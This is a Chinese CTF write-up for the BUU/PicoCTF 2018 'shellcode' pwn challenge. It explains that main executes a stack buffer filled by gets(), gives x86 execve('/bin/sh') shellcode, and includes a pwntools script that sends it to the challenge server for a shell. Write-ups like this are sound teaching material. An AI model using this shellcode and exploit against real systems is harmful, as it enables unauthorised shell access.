首页 > 系统相关 >BUU pwn PicoCTF_2018_shellcode //最简单的shellcode

BUU pwn PicoCTF_2018_shellcode //最简单的shellcode

时间:2023-03-09 19:44:27浏览次数:50  
标签:A0 BUU eax PicoCTF ebp var edx shellcode

这道题需要我们了解x86汇编的lea指令。lea dst, src指的是dst=&src

file可知32bit ELF

IDA F5发现反编译失败,查看main函数的汇编,发现会调用vuln函数。其中lea eax, [ebp+var_A0]指的是把[ebp+var_A0]的地址(也就是ebp+var_A0的值)赋给eax,作为vuln的参数。后面又出现了lea eax, [ebp+var_A0],并通过call eax来执行ebp+var_A0地址处的函数。
image

查看vuln函数,里面将[ebp+8]传参给gets,这表示可以从标准输入中读取shellcode并写入到ebp+8处。反编译可知,ebp+8正是vuln的参数ebp+var_A0。所以最终main的call eax会调用ebp+var_A0处我们所写的shellcode。
image

image

栈结构如图所示(上面为高地址)
image

而shellcode往往是一个系统调用execv('/bin/sh'),其汇编为

xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80

其中al是eax的低8位

最后构造payload

from pwn import *
r = remote("node4.buuoj.cn", 25862)
shellcode='''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
'''
payload = asm(shellcode)
r.sendline(payload)
r.interactive()

注意这个payload我在Linux可以执行,Windows下会报错pwnlib.exception.PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64', bits = 64, endian = 'little', log_level = 10, os = 'linux')
image

标签:A0,BUU,eax,PicoCTF,ebp,var,edx,shellcode
From: https://www.cnblogs.com/nemuzuki/p/17201115.html

相关文章

  • 任意Exe转ShellCode?
    之前写过一个远控,但一直在琢磨如何生成shellcode,今天偶然看见一个项目:sRDI,github上就有这个项目主要就是将dll转成shellcode,于是我就想到了“写一个输出文件的dll,然后将这......
  • BUU 新年快乐 脱壳
    BUU新年快乐此题用于学习逆向中如何使用软件对PE文件进行脱壳。加壳即可执行程序资源压缩,是一种对文件的保护方法,加壳的程序在执行时先执行壳代码,然后跳转到程序入口点EP......
  • BUUctf pwn1_sctf_2016 nc尝试
    BUUctfpwn1_sctf_2016file,发现文件是32位elfchecksec,发现文件开启了NX保护,NX指的是NoExcute(禁止运行)IDA查看函数,发现main()调用了vuln(),而且存在一个get_flag函数,地......
  • BUUctf ciscn_2019_n_1
    BUUciscn_2019_n_1首先file,是64位elfIDA,发现main函数会调用func函数,而func中如果v2=11.28125,就会cat/flag,并且上面有个gets,存在栈溢出漏洞压栈的过程是v1的44字节,然......
  • BUUctf warmup_csaw_2016
    BUUwarmup_csaw_2016首先file,发现是64位ELF文件。IDA发现main函数中return了get函数,存在溢出点。查看文件中的字符串,发现有'catflag.txt'双击后发现在sub_40060D......
  • BUUCTF—CRYPTO 1—10
    BUUCTF—CRYPTO1—101、MD5题目:e00cf25ad42683b3df678c61f42c6bda解析:看题目就知道是MD5加密,直接上在线解码网站解码,答案是:flag2、BASE64题目:ZmxhZ3tUSEVfRkxBR19PRl......
  • Cobaltstrike —— shellcode分析(一)
    前言搞iot搞久了,换个方向看看,改改口味。所以决定分析一下Cobaltstrike——shellcode,顺便还可以提高一下逆向能力。windows常见结构体在分析Cobaltstrike-shellcode之......
  • BUUCTF [GXYCTF2019]luck_guy RE
    无壳64位用IDA64打开,查看主函数int__cdeclmain(intargc,constchar**argv,constchar**envp){intv4;//[rsp+14h][rbp-Ch]BYREFunsigned__int64v......
  • GdbServer和libuuid移植到HISI3520d
    PS:要转载请注明出处,本人版权所有。PS:这个只是基于《我自己》的理解,如果和你的原则及想法相冲突,请谅解,勿喷。前置说明  本文作为本人csdnblog的主站的备份。(BlogID......
  • BUUCTF Java逆向解密 RE
    Java逆向,百度一下采用Jadx-gui打开后得到如下代码packagedefpackage;importjava.util.ArrayList;importjava.util.Scanner;/*renamedfrom:Reversereason:d......